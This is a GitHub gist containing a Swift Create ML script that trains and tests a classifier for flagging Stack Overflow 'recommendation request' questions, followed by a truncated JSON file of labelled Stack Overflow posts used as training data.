Skip to content

Instantly share code, notes, and snippets.

@Undo1
Created July 13, 2018 19:04
Show Gist options
  • Save Undo1/e1e3f89395381c2bd307bf4d22802979 to your computer and use it in GitHub Desktop.
Save Undo1/e1e3f89395381c2bd307bf4d22802979 to your computer and use it in GitHub Desktop.
import Foundation
import CreateML
let data = try MLDataTable(contentsOf: URL(fileURLWithPath: ("~/Desktop/temp.json" as NSString).expandingTildeInPath))
let (trainData, evalData) = data.randomSplit(by: 0.9, seed: 10)
let sentimentClassifier = try MLTextClassifier(trainingData: trainData, textColumn: "Body", labelColumn: "Classification", parameters: MLTextClassifier.ModelParameters.init(validationData: evalData))
sentimentClassifier.trainingMetrics
sentimentClassifier.validationMetrics
try? sentimentClassifier.prediction(from: "This is a test title")
try? sentimentClassifier.prediction(from: "Library to foo bars")
try? sentimentClassifier.prediction(from: "Java rule engine for Android")
try? sentimentClassifier.prediction(from: "Attack engine for Swift")
try? sentimentClassifier.prediction(from: "Recommend a thing for me to do stuff with")
try? sentimentClassifier.prediction(from: """
<p>I want a tool to to randomly kerfluffle an array. Code please</p>
""")
try? sentimentClassifier.prediction(from: """
<p>I want to randomly kerfluffle an array. Code please, or I would accept a library.</p>
""")
try? sentimentClassifier.prediction(from: """
<p>I want to randomly kerfluffle an array. Library please.</p>
""")
try? sentimentClassifier.prediction(from: """
<p>I have an application that will need to perform a number of unit conversions (metric to Imperial, Imperial to metric).</p>
<p>Is there an existing Java library that does this? Or will I need to roll my own? (My initial Google searches proved moderately useless.)</p>
""")
try? sentimentClassifier.prediction(from: """
<p>I want to randomly kerfluffle an array. Library or code please.</p>
""")
try? sentimentClassifier.prediction(from: """
<p>Is there any way to establish a telnet connection in dart?</p>
""")
try? sentimentClassifier.prediction(from: """
<div class="post-text" itemprop="text">
<p>Hey I'm learning <code>ReactJs</code> these days. As a starter, I don't know which extensions might be useful. I'm working on <code>VS Code</code>. By default its giving me these types of syntax errors:
<a href="https://i.stack.imgur.com/lwKfz.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lwKfz.png" alt="enter image description here"></a></p>
<p>Can someone recommend me some useful extensions for React on VS Code?</p>
</div>
""")
try? sentimentClassifier.prediction(from: """
<p>Is there any library in python equivalent to matlab <a href="https://in.mathworks.com/help/signal/ref/dfilt.df2sos.html" rel="nofollow noreferrer"><code>dfilt.df2sos</code></a>. I have been looking for a library to calculate band powers of a signal but can't find any.</p>
""")
try? sentimentClassifier.prediction(from: """
<div class="post-text" itemprop="text">
<p>I found some answers to part of my question but not for whole at once.</p>
<p>I am looking for libraries that can create PDF, XLS and CSV files but I am using <strong>.net core</strong> and most of ones that I found are not compatible with this framework yet. Also I need them to be <strong>free for commercial use</strong>. I know that I have quite a lot requirements but maybe it's possible.</p>
<p>For example, for creating pdf I found PDFsharp</p>
</div>
""")
try? sentimentClassifier.prediction(from: """
<div class="post-text" itemprop="text">
<p>I found some answers to part of my question but not for whole at once.</p>
<p>I am looking for libraries that can create PDF, XLS and CSV files but I am using <strong>.net core</strong> and most of ones that I found are not compatible with this framework yet. Also I need them to be <strong>free for commercial use</strong>. I know that I have quite a lot requirements but maybe it's possible.</p>
<p>For example, for creating pdf I found PDFsharp</p>
</div>
""")
try? sentimentClassifier.prediction(from: """
<div class="post-text" itemprop="text">
<p>I have two columns in my dataframe, 'Subject' and 'Description'. I am trying to clean the Description column by splitting the data on the text from the Subject column, as it's contained in all rows of the Description.</p>
<p>Here's the Subject Column:</p>
<pre class="lang-py prettyprint prettyprinted" style=""><code><span class="typ">Subject</span><span class="pln">
</span><span class="lit">1</span><span class="pln"> </span><span class="typ">Question</span><span class="pln"> about the program
</span><span class="lit">2</span><span class="pln"> </span><span class="typ">Technical</span><span class="pln"> issue </span><span class="kwd">with</span><span class="pln"> the site </span></code></pre>
<p>And the Description Column:</p>
<pre class="lang-py prettyprint prettyprinted" style=""><code><span class="typ">Description</span><span class="pln"> \
</span><span class="lit">1</span><span class="pln"> </span><span class="typ">An</span><span class="pln"> HTML only email was received </span><span class="kwd">and</span><span class="pln"> a rough conversion </span><span class="kwd">is</span><span class="pln"> below</span><span class="pun">.</span><span class="pln">
</span><span class="typ">Please</span><span class="pln"> refer to the </span><span class="typ">Emails</span><span class="pln"> related list </span><span class="kwd">for</span><span class="pln"> the HTML contents of the
message</span><span class="pun">.</span><span class="pln"> </span><span class="typ">Question</span><span class="pln"> about the program </span><span class="typ">Hello</span><span class="pln"> </span><span class="typ">Hello</span><span class="pln"> I was wondering </span><span class="kwd">if</span><span class="pln"> there
</span><span class="kwd">is</span><span class="pln"> going to be a product review coming up soon</span><span class="pun">?</span><span class="pln">
</span><span class="lit">2</span><span class="pln"> </span><span class="typ">An</span><span class="pln"> HTML only email was received </span><span class="kwd">and</span><span class="pln"> a rough conversion </span><span class="kwd">is</span><span class="pln"> below</span><span class="pun">.</span><span class="pln">
</span><span class="typ">Please</span><span class="pln"> refer to the </span><span class="typ">Emails</span><span class="pln"> related list </span><span class="kwd">for</span><span class="pln"> the HTML contents of the
message</span><span class="pun">.</span><span class="pln"> </span><span class="typ">Technical</span><span class="pln"> issue </span><span class="kwd">with</span><span class="pln"> the site </span><span class="typ">Reviews</span><span class="pln"> I received emails stating
that I need to rewrite two of my reviews </span></code></pre>
<p>For example on row 1, I would like the split on 'Question about the program' in the 1st row of the Description Column and only capture the text after that string.</p>
<p>Any help would be appreciated. Thank you.</p>
</div>
""")
try? sentimentClassifier.prediction(from: """
<div class="post-text" itemprop="text">
<p>What is the use of the <code>yield</code> keyword in Python? What does it do?</p>
<p>For example, I'm trying to understand this code<sup><strong>1</strong></sup>:</p>
<pre class="lang-py prettyprint prettyprinted" style=""><code><span class="kwd">def</span><span class="pln"> _get_child_candidates</span><span class="pun">(</span><span class="pln">self</span><span class="pun">,</span><span class="pln"> distance</span><span class="pun">,</span><span class="pln"> min_dist</span><span class="pun">,</span><span class="pln"> max_dist</span><span class="pun">):</span><span class="pln">
</span><span class="kwd">if</span><span class="pln"> self</span><span class="pun">.</span><span class="pln">_leftchild </span><span class="kwd">and</span><span class="pln"> distance </span><span class="pun">-</span><span class="pln"> max_dist </span><span class="pun">&lt;</span><span class="pln"> self</span><span class="pun">.</span><span class="pln">_median</span><span class="pun">:</span><span class="pln">
</span><span class="kwd">yield</span><span class="pln"> self</span><span class="pun">.</span><span class="pln">_leftchild
</span><span class="kwd">if</span><span class="pln"> self</span><span class="pun">.</span><span class="pln">_rightchild </span><span class="kwd">and</span><span class="pln"> distance </span><span class="pun">+</span><span class="pln"> max_dist </span><span class="pun">&gt;=</span><span class="pln"> self</span><span class="pun">.</span><span class="pln">_median</span><span class="pun">:</span><span class="pln">
</span><span class="kwd">yield</span><span class="pln"> self</span><span class="pun">.</span><span class="pln">_rightchild </span></code></pre>
<p>And this is the caller:</p>
<pre class="lang-py prettyprint prettyprinted" style=""><code><span class="pln">result</span><span class="pun">,</span><span class="pln"> candidates </span><span class="pun">=</span><span class="pln"> </span><span class="pun">[],</span><span class="pln"> </span><span class="pun">[</span><span class="pln">self</span><span class="pun">]</span><span class="pln">
</span><span class="kwd">while</span><span class="pln"> candidates</span><span class="pun">:</span><span class="pln">
node </span><span class="pun">=</span><span class="pln"> candidates</span><span class="pun">.</span><span class="pln">pop</span><span class="pun">()</span><span class="pln">
distance </span><span class="pun">=</span><span class="pln"> node</span><span class="pun">.</span><span class="pln">_get_dist</span><span class="pun">(</span><span class="pln">obj</span><span class="pun">)</span><span class="pln">
</span><span class="kwd">if</span><span class="pln"> distance </span><span class="pun">&lt;=</span><span class="pln"> max_dist </span><span class="kwd">and</span><span class="pln"> distance </span><span class="pun">&gt;=</span><span class="pln"> min_dist</span><span class="pun">:</span><span class="pln">
result</span><span class="pun">.</span><span class="pln">extend</span><span class="pun">(</span><span class="pln">node</span><span class="pun">.</span><span class="pln">_values</span><span class="pun">)</span><span class="pln">
candidates</span><span class="pun">.</span><span class="pln">extend</span><span class="pun">(</span><span class="pln">node</span><span class="pun">.</span><span class="pln">_get_child_candidates</span><span class="pun">(</span><span class="pln">distance</span><span class="pun">,</span><span class="pln"> min_dist</span><span class="pun">,</span><span class="pln"> max_dist</span><span class="pun">))</span><span class="pln">
</span><span class="kwd">return</span><span class="pln"> result</span></code></pre>
<p>What happens when the method <code>_get_child_candidates</code> is called?
Is a list returned? A single element? Is it called again? When will subsequent calls stop?</p>
<hr>
<p><sub>
1. The code comes from Jochen Schulz (jrschulz), who made a great Python library for metric spaces. This is the link to the complete source: <a href="http://well-adjusted.de/~jrschulz/mspace/" rel="noreferrer">Module mspace</a>.</sub></p>
</div>
""")
try? sentimentClassifier.prediction(from: """
<div class="post-text" itemprop="text">
<p>What is the use of the <code>yield</code> keyword in Python? What does it do?</p>
<p>For example, I'm trying to understand this code<sup><strong>1</strong></sup>:</p>
<pre class="lang-py prettyprint prettyprinted" style=""><code><span class="kwd">def</span><span class="pln"> _get_child_candidates</span><span class="pun">(</span><span class="pln">self</span><span class="pun">,</span><span class="pln"> distance</span><span class="pun">,</span><span class="pln"> min_dist</span><span class="pun">,</span><span class="pln"> max_dist</span><span class="pun">):</span><span class="pln">
</span><span class="kwd">if</span><span class="pln"> self</span><span class="pun">.</span><span class="pln">_leftchild </span><span class="kwd">and</span><span class="pln"> distance </span><span class="pun">-</span><span class="pln"> max_dist </span><span class="pun">&lt;</span><span class="pln"> self</span><span class="pun">.</span><span class="pln">_median</span><span class="pun">:</span><span class="pln">
</span><span class="kwd">yield</span><span class="pln"> self</span><span class="pun">.</span><span class="pln">_leftchild
</span><span class="kwd">if</span><span class="pln"> self</span><span class="pun">.</span><span class="pln">_rightchild </span><span class="kwd">and</span><span class="pln"> distance </span><span class="pun">+</span><span class="pln"> max_dist </span><span class="pun">&gt;=</span><span class="pln"> self</span><span class="pun">.</span><span class="pln">_median</span><span class="pun">:</span><span class="pln">
</span><span class="kwd">yield</span><span class="pln"> self</span><span class="pun">.</span><span class="pln">_rightchild </span></code></pre>
<p>And this is the caller:</p>
<pre class="lang-py prettyprint prettyprinted" style=""><code><span class="pln">result</span><span class="pun">,</span><span class="pln"> candidates </span><span class="pun">=</span><span class="pln"> </span><span class="pun">[],</span><span class="pln"> </span><span class="pun">[</span><span class="pln">self</span><span class="pun">]</span><span class="pln">
</span><span class="kwd">while</span><span class="pln"> candidates</span><span class="pun">:</span><span class="pln">
node </span><span class="pun">=</span><span class="pln"> candidates</span><span class="pun">.</span><span class="pln">pop</span><span class="pun">()</span><span class="pln">
distance </span><span class="pun">=</span><span class="pln"> node</span><span class="pun">.</span><span class="pln">_get_dist</span><span class="pun">(</span><span class="pln">obj</span><span class="pun">)</span><span class="pln">
</span><span class="kwd">if</span><span class="pln"> distance </span><span class="pun">&lt;=</span><span class="pln"> max_dist </span><span class="kwd">and</span><span class="pln"> distance </span><span class="pun">&gt;=</span><span class="pln"> min_dist</span><span class="pun">:</span><span class="pln">
result</span><span class="pun">.</span><span class="pln">extend</span><span class="pun">(</span><span class="pln">node</span><span class="pun">.</span><span class="pln">_values</span><span class="pun">)</span><span class="pln">
candidates</span><span class="pun">.</span><span class="pln">extend</span><span class="pun">(</span><span class="pln">node</span><span class="pun">.</span><span class="pln">_get_child_candidates</span><span class="pun">(</span><span class="pln">distance</span><span class="pun">,</span><span class="pln"> min_dist</span><span class="pun">,</span><span class="pln"> max_dist</span><span class="pun">))</span><span class="pln">
</span><span class="kwd">return</span><span class="pln"> result</span></code></pre>
<p>What happens when the method <code>_get_child_candidates</code> is called?
Is a list returned? A single element? Is it called again? When will subsequent calls stop?</p>
<hr>
<p><sub>
1. The code comes from Jochen Schulz (jrschulz), I want a great Python library for metric spaces. This is the link to the complete source: <a href="http://well-adjusted.de/~jrschulz/mspace/" rel="noreferrer">Module mspace</a>.</sub></p>
</div>
""")
try? sentimentClassifier.prediction(from: """
<div class="post-text" itemprop="text">
<p>I am following a <a href="https://material.angular.io/cdk/tree/overview" rel="nofollow noreferrer">tutorial</a> to implement cdk tree in angular 6. I created a tree structure, now I want to get the parent hierarchy from from the child by making it clickable, while there are methods like getDescendants to get children of a node, vice versa is not available. How can I get the parent hierarchy from a child or leaf node.</p>
</div>
""")
try? sentimentClassifier.prediction(from: """
<div class="post-text" itemprop="text">
<p>We have few micro services created in .net core 1.0, we are following CQRS pattern and we are also using swagger which list all api's, we have a requirement were in we need to implement Message Bus(not decided yet might be AWS), this message bus will orchestrate UI operations, that spans across multiple backend services, so I don't know how to start because I 'm new to this, I need to understand message bus, queues, publishing events to message bus so could you please help me to understand? Also any pointers to tutorial videos and so on with explanation would be helpful.</p>
</div>
""")
This file has been truncated, but you can view the full file.
[{"Classification":"Recommendation request","Title":"Java rule engine for Android","Body":"<p>I'm trying to develop an Android app which will diagnosis dog diseases. I already have the knowledge base which is composed by 60 rules that can diagnose 15 diseases, the smallest rule have about 10 conditions. </p>\n\n<p>I searched about how to solve this problem, and I think using a rule engine that works with backward chaining is the way to go. The problem is every rule engine, seems to work only if I provide all inputs before fire the rules.</p>\n\n<p>Since it meant to diagnose diseases, I think the approach is, ask a question to the user wait for the answer then validate rules, excluding the rules which doesn't match to the given condition. Then ask for next condtion based on remaining rules.</p>\n\n<p>Example: Rule 1 </p>\n\n<pre><code>if puppy &amp; male &amp; scratching himself... then disease1\n</code></pre>\n\n<p>The questions go like</p>\n\n<pre><code>1:The dog is a puppy?\n2:The dog is male?\n3:The dog is scratching himself?\n</code></pre>\n\n<p>With which rule engine, can I have this behavior?</p>\n"},{"Classification":"Recommendation request","Title":"Gradle vs. Maven: Which one is the best option for Android development","Body":"<p>What are the major differences between Gradle and Apache Maven? Why do they benefit in Android applications?</p>\n"},{"Classification":"Recommendation request","Title":"Are there any coding languages that are not in &#39;English&#39;?","Body":"<p>I speak and write English (and to be honest no other language), and I noticed that most coding languages like Python, Java, and JavaScript use mostly English words. For example:</p>\n\n<pre><code>print(\"Hello World\")\n</code></pre>\n\n<p>'Print' is an English word in the dictionary and kinda makes sense for someone who has not coded before (i.e. to print/show something).</p>\n\n<p>Are there programming languages that uses words from languages that aren't English?</p>\n"},{"Classification":"Recommendation request","Title":"What web hosting is best for an image hosting website?","Body":"<p>I am having problem with my shares hosting is has a daily CPU limit and I want to know what kind of web hosting would be good for an image hosting website.</p>\n"},{"Classification":"Recommendation request","Title":"Any starter app with Java + Angular?","Body":"<p>Just want to know if you know about any starter app on Github for:\nJava + Hibernate + Spring + Angular 5</p>\n\n<p>Is there any official repository for this?</p>\n\n<p>Thanks!</p>\n"},{"Classification":"Recommendation request","Title":"save a word document through php","Body":"<p>I have a word document edited in php (cakephp). I want to create a function to also convert the word doc saved to a pdf. I am using cakephp.\nIs there a free version of something to simply save a word doc to pdf through a cakephp function.</p>\n\n<p>I am not after a book or software and have no idea why this question was confusing for some. I have a cakephp project and i created a word doc in php code which then needs to just copy this also to a pdf format through a php script! I have a coding question </p>\n\n<p>I am confused here about how to ask this question about coding. \nI see it could something to do with com class and saveas</p>\n\n<p><a href=\"https://stackoverflow.com/questions/5538584/convert-word-doc-docx-and-excel-xls-xlsx-to-pdf-with-php\">Convert Word doc, docx and Excel xls, xlsx to PDF with PHP</a></p>\n"},{"Classification":"Recommendation request","Title":"Azure Solr-as-a-Service","Body":"<p>I'm looking for an alternative for my on premise Solr Cluster.\nI see, there is a pre-configured Solr Cluster in the Azure Marketplace, offered by Bitnami, but:</p>\n\n<ul>\n<li>this marketplace offer is based on Ubuntu 14.04 - isn't this a security risk?</li>\n<li>How is this maintained? Let's say, a newer version of Solr is published: Do I have to upgrade by myself? Or is it done by Bitnami?</li>\n<li>Is there any alternative in the Azure world, which is <strong>not</strong> IaaS? I know there is Azure Search, but this is more or less an Elasticsearch, not a Solr.</li>\n</ul>\n"},{"Classification":"Recommendation request","Title":"Is GolangLibs officially supported by Golang/Google?","Body":"<p>Is GolangLibs (<a href=\"https://golanglibs.com/\" rel=\"nofollow noreferrer\">https://golanglibs.com/</a>) officially supported by Golang/Google?</p>\n\n<p>I didn't find anything on their website. </p>\n"},{"Classification":"Recommendation request","Title":"Where can I find microarchitecture diagrams of Intel core processors?","Body":"<p>I need the microarchitecture diagrams of all 8 generation of Intel core processor(Intel core i7). Google search is not giving me the expected results. So can someone help me out by providing some sources please? </p>\n"},{"Classification":"Recommendation request","Title":"Population Markov Chain Monte Carlo Algorithm / Matlab","Body":"<p>I'm looking for a matlab or python code for Population Markov Chain Monte Carlo Algorithm (PopMCMC) as described <a href=\"https://link.springer.com/article/10.1023/A:1020206129842\" rel=\"nofollow noreferrer\">this paper</a>, please help me. this is my first time I use this algorithm </p>\n"},{"Classification":"Recommendation request","Title":"Wordpress Multisites - Allowing users to create their own micro site?","Body":"<p>I am looking for a plugin/functionality that would allow the users of a website to create their own mini micro sites which share a common theme, but would allow the 'owner' of the micro sit to do some basic changes such as change the logo, and colours.</p>\n\n<p>Ideally what I wanted was if a member met certain requirements on the main 'mother' website than they would have have an option available to them to tick a box on a form, fill out some details and then the micro site would be automatically generated for them.</p>\n\n<p>So far I have not found a plug-in that has this capability, and I am wondering if this is going to need some custom development needed. But was hoping if anyone here was aware of such a plug-in then they could give me some recommendations?</p>\n\n<p>Thanks!</p>\n"},{"Classification":"Recommendation request","Title":"Database to store large binary files of malware","Body":"<p>So, I am trying to create a database that can store thousands of malware binary files with sizes ranging anywhere from kb's to 50 mb. I am currently testing with cassandra using blobs but of course with files that big cassandra isn't handling it that well. Does anyone have any good ideas maybe for a better database or maybe a better way to go about using cassandra. I am relatively new to databases so please be as detailed as possible.\nThank You </p>\n"},{"Classification":"Recommendation request","Title":"How to change chart type dynamically in r based on contains of dataframe","Body":"<p>I want to populate different charts in an R shiny dashboard based on dynamically generated data frame.\nFor example, if the data contains :\n- only numeric is at date level: a line chart should be generated \n- categorical and numeric data : a bar or stack bar chart should be populated \n- multiple numeric fields at date level : line chart with legend </p>\n\n<p>Do we have any lib available in R which can generate chart suggestion?</p>\n\n<p>Thanks in advance :)</p>\n"},{"Classification":"Recommendation request","Title":"How do you convert unicode string to escapes in bash?","Body":"<p>I need a tool that will translate the unicode string into escape characters like \\u0230.</p>\n\n<p>For example, </p>\n\n<pre><code>echo ãçé | convert-unicode-tool\n\\u00e3\\u00e7\\u00e9\n</code></pre>\n"},{"Classification":"Recommendation request","Title":"How can I use this library correctly?","Body":"<p>I'm trying to an Epub Reader using <a href=\"http:///http://www.siegmann.nl/epublib/android\" rel=\"nofollow noreferrer\">Epublib</a>. But I search all of the internet and this site, but cant figure out how to use correctly. I apply the instructions but when I run the app it is crashed or see nothing. How can ı solve this?</p>\n\n<p>here is my logcat : </p>\n\n<pre><code>07-12 15:23:34.489 2754-2754/com.edep.useepublib D/dalvikvm: Late-enabling CheckJNI\n07-12 15:23:34.521 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.Window$Callback.onPointerCaptureChanged, referenced from method android.support.v7.view.WindowCallbackWrapper.onPointerCaptureChanged\n07-12 15:23:34.521 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve interface method 16217: Landroid/view/Window$Callback;.onPointerCaptureChanged (Z)V\n07-12 15:23:34.521 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x72 at 0x0002\n07-12 15:23:34.521 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.Window$Callback.onProvideKeyboardShortcuts, referenced from method android.support.v7.view.WindowCallbackWrapper.onProvideKeyboardShortcuts\n07-12 15:23:34.521 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve interface method 16219: Landroid/view/Window$Callback;.onProvideKeyboardShortcuts (Ljava/util/List;Landroid/view/Menu;I)V\n07-12 15:23:34.521 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x72 at 0x0002\n07-12 15:23:34.521 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to find class referenced in signature (Landroid/view/SearchEvent;)\n07-12 15:23:34.521 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.Window$Callback.onSearchRequested, referenced from method android.support.v7.view.WindowCallbackWrapper.onSearchRequested\n07-12 15:23:34.521 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve interface method 16221: Landroid/view/Window$Callback;.onSearchRequested (Landroid/view/SearchEvent;)Z\n07-12 15:23:34.521 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x72 at 0x0002\n07-12 15:23:34.521 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.Window$Callback.onWindowStartingActionMode, referenced from method android.support.v7.view.WindowCallbackWrapper.onWindowStartingActionMode\n07-12 15:23:34.521 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve interface method 16225: Landroid/view/Window$Callback;.onWindowStartingActionMode (Landroid/view/ActionMode$Callback;I)Landroid/view/ActionMode;\n07-12 15:23:34.521 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x72 at 0x0002\n07-12 15:23:34.537 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.res.TypedArray.getChangingConfigurations, referenced from method android.support.v7.widget.TintTypedArray.getChangingConfigurations\n07-12 15:23:34.537 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 706: Landroid/content/res/TypedArray;.getChangingConfigurations ()I\n07-12 15:23:34.537 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0002\n07-12 15:23:34.537 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.res.TypedArray.getType, referenced from method android.support.v7.widget.TintTypedArray.getType\n07-12 15:23:34.537 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 728: Landroid/content/res/TypedArray;.getType (I)I\n07-12 15:23:34.537 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0008\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.createDeviceProtectedStorageContext, referenced from method android.support.v4.content.ContextCompat.createDeviceProtectedStorageContext\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 485: Landroid/content/Context;.createDeviceProtectedStorageContext ()Landroid/content/Context;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getCodeCacheDir, referenced from method android.support.v4.content.ContextCompat.getCodeCacheDir\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 491: Landroid/content/Context;.getCodeCacheDir ()Ljava/io/File;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getColor, referenced from method android.support.v4.content.ContextCompat.getColor\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 492: Landroid/content/Context;.getColor (I)I\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getColorStateList, referenced from method android.support.v4.content.ContextCompat.getColorStateList\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 493: Landroid/content/Context;.getColorStateList (I)Landroid/content/res/ColorStateList;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getDataDir, referenced from method android.support.v4.content.ContextCompat.getDataDir\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 495: Landroid/content/Context;.getDataDir ()Ljava/io/File;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getDrawable, referenced from method android.support.v4.content.ContextCompat.getDrawable\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 496: Landroid/content/Context;.getDrawable (I)Landroid/graphics/drawable/Drawable;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getExternalCacheDirs, referenced from method android.support.v4.content.ContextCompat.getExternalCacheDirs\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 498: Landroid/content/Context;.getExternalCacheDirs ()[Ljava/io/File;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getExternalFilesDirs, referenced from method android.support.v4.content.ContextCompat.getExternalFilesDirs\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 500: Landroid/content/Context;.getExternalFilesDirs (Ljava/lang/String;)[Ljava/io/File;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getNoBackupFilesDir, referenced from method android.support.v4.content.ContextCompat.getNoBackupFilesDir\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 503: Landroid/content/Context;.getNoBackupFilesDir ()Ljava/io/File;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getObbDirs, referenced from method android.support.v4.content.ContextCompat.getObbDirs\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 505: Landroid/content/Context;.getObbDirs ()[Ljava/io/File;\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.isDeviceProtectedStorage, referenced from method android.support.v4.content.ContextCompat.isDeviceProtectedStorage\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 516: Landroid/content/Context;.isDeviceProtectedStorage ()Z\n07-12 15:23:34.541 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.541 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.startForegroundService, referenced from method android.support.v4.content.ContextCompat.startForegroundService\n07-12 15:23:34.541 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 531: Landroid/content/Context;.startForegroundService (Landroid/content/Intent;)Landroid/content/ComponentName;\n07-12 15:23:34.545 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.545 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.support.v7.view.ContextThemeWrapper.createConfigurationContext, referenced from method android.support.v7.view.ContextThemeWrapper.getResourcesInternal\n07-12 15:23:34.545 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 12233: Landroid/support/v7/view/ContextThemeWrapper;.createConfigurationContext (Landroid/content/res/Configuration;)Landroid/content/Context;\n07-12 15:23:34.545 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0017\n07-12 15:23:34.549 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.widget.FrameLayout.startActionModeForChild, referenced from method android.support.v7.widget.ActionBarContainer.startActionModeForChild\n07-12 15:23:34.549 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16686: Landroid/widget/FrameLayout;.startActionModeForChild (Landroid/view/View;Landroid/view/ActionMode$Callback;I)Landroid/view/ActionMode;\n07-12 15:23:34.549 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0002\n07-12 15:23:34.553 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.view.ViewGroup.onRtlPropertiesChanged, referenced from method android.support.v7.widget.Toolbar.onRtlPropertiesChanged\n07-12 15:23:34.553 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 16118: Landroid/view/ViewGroup;.onRtlPropertiesChanged (I)V\n07-12 15:23:34.553 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6f at 0x0006\n07-12 15:23:34.557 2754-2754/com.edep.useepublib I/dalvikvm: Could not find method android.content.Context.getColorStateList, referenced from method android.support.v7.content.res.AppCompatResources.getColorStateList\n07-12 15:23:34.557 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to resolve virtual method 493: Landroid/content/Context;.getColorStateList (I)Landroid/content/res/ColorStateList;\n07-12 15:23:34.557 2754-2754/com.edep.useepublib D/dalvikvm: VFY: replacing opcode 0x6e at 0x0006\n07-12 15:23:34.557 2754-2754/com.edep.useepublib W/dalvikvm: VFY: unable to find class referenced in signature (Landroid/graphics/drawable/Icon;)\n07-12 15:23:34.561 2754-2754/com.edep.useepublib I/dalvikvm: 